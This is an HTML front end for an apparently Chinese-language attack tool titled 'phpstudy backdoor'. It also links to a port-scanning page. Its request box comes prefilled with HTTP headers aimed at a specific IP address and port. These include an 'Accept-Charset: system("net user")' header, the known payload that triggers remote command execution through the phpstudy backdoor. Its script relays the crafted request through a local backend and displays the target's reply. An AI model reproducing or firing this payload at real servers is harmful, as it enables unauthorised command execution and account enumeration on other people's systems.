<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>phpstudy后门</title>
</head>
<script src="jquery/jquery-2.1.0.js"></script>
<script src="jquery/jquery-2.1.0.min.js"></script>

<style>
    .condition {
        display: flex;
        width: 90%;
    }

    .content {
        display: flex;
        width: 100%;
        height: 600px;
    }

    .condition-input {
        width: 30%;
        height: 20px;
        margin-left: 5px;
    }

    .condition-select {
        width: 30%;
        height: 25px;
        margin-left: 5px;
    }

    .condition span {
        width: 20%;
        text-align: right;
    }

    .condition .short-span {
        width: 8%;
    }

    .content-json {
        height: 100%;
        /*height: 87vh;*/
        width: 45%;
        margin: 20px 0 0 20px;
        border-radius: 0;
        resize: none;
        outline: none;
    }

    .content-btn {
        height: 25px;
        margin: auto 1%;
    }
</style>
<body style="height: 100%">
<div>

</div>
<div class="condition">
    <span class="short-span">功能:</span>
    <select class="condition-select" id="changeFn" onchange="changeFn()">
        <option value="0">扫面可访问端口</option>
        <option value="1" selected="selected">phpstudy后门</option>
    </select>
    <span>请求方式:</span><select id="request-type" class="condition-select">
    <option value="GET">GET</option>
    <option value="POST">POST</option>
</select>
    <span class="short-span">IP:</span><input id="request-ip" class="condition-input"
                                              placeholder="如:http://51.159.3.194:8899"/>
    <button class="content-btn" style="width: 15%" onclick="init()">清空页面</button>
</div>
<div class="content">
        <textarea id="request-content" placeholder="Headers,如:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Connection: keep-alive
Cookie: PHPSESSID=ntaj4qqfijospgtgke7frn72m0
Host: 51.159.3.194:8899
Pragma: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
" class="content-json" style="">
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Host: 51.159.3.194:8899
Cache-Control: no-cache
Connection: keep-alive
Cookie: PHPSESSID=ntaj4qqfijospgtgke7frn72m0
Pragma: no-cache
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Accept-Charset:system("net user");</textarea>
    <button class="content-btn" style="width: 6%" onclick="requestFn()">请求</button>
    <textarea id="response-content" placeholder="Resopnse:" readonly class="content-json" style="">
    </textarea>
</div>
</body>
<script type="text/javascript">

    // 清空页面
    function init() {
        $("#request-type").val('GET');
        $("#header-charset").val('');
        $("#header-host").val('');
        $("#response-content").val('');
        $("#request-content").val('');
    }

    // 自定义请求头请求
    function requestFn() {
        var reqType = $("#request-type").val();
        var reqHeaders = $("#request-content").val();
        var reqIp = $("#request-ip").val();
        var data = {
            ip: reqIp,
            type: reqType,
            reqHeaders: reqHeaders
        }
        $("#response-content").val("请稍后...");
        $.ajax({
            type: reqType,
            url: "http://localhost:8090/laoB/sendMsgByCustomHeader",
            data: {
                data: JSON.stringify(data)
            },
            dataType: 'json',
            success: function (res) {
                console.log(res);
                if (!res.ststus && !res.headers) {
                    valStr = res.content;
                }else {
                    var valStr = "\n====================================Status=====================================\n"
                    if (res.ststus) {
                        valStr += res.ststus + " \n";
                    }
                    valStr += "\n\n\n====================================Headers=====================================\n"
                    if (res.headers){
                        for (var i = 0; i < res.headers.length; i++) {
                            valStr += res.headers[i].name+":  " + res.headers[i].value + "" + "\n";
                            // console.log(JSON.stringify(res.headers[i]) + "" + "\n")
                        }
                    }
                    valStr += "\n\n\n====================================Content=====================================\n"
                    if (res.content){
                        valStr += res.content;
                    }
                }

                $("#response-content").val(valStr);
            },
            error: function (res) {
                console.log(res.responseJSON.message)
                console.log(res.responseJSON.error)
                var valStr = "\n====================================Status=====================================\n"
                valStr += res.statusText +":"+res.status;

                valStr += "\n\n\n====================================Message=====================================\n"
                valStr += res.responseJSON.error+":"+res.responseJSON.message;
                $("#response-content").val(valStr);
            }
        })
    }


    // 切换功能的方法
    function changeFn() {
        var menuInt = $("#changeFn").val();
        console.log(menuInt);
        if (menuInt == 0) {
            location.href = "testContent.html";
        } else if (menuInt == 1) {
            location.href = "customReq.html";
        }
    }

</script>
</html>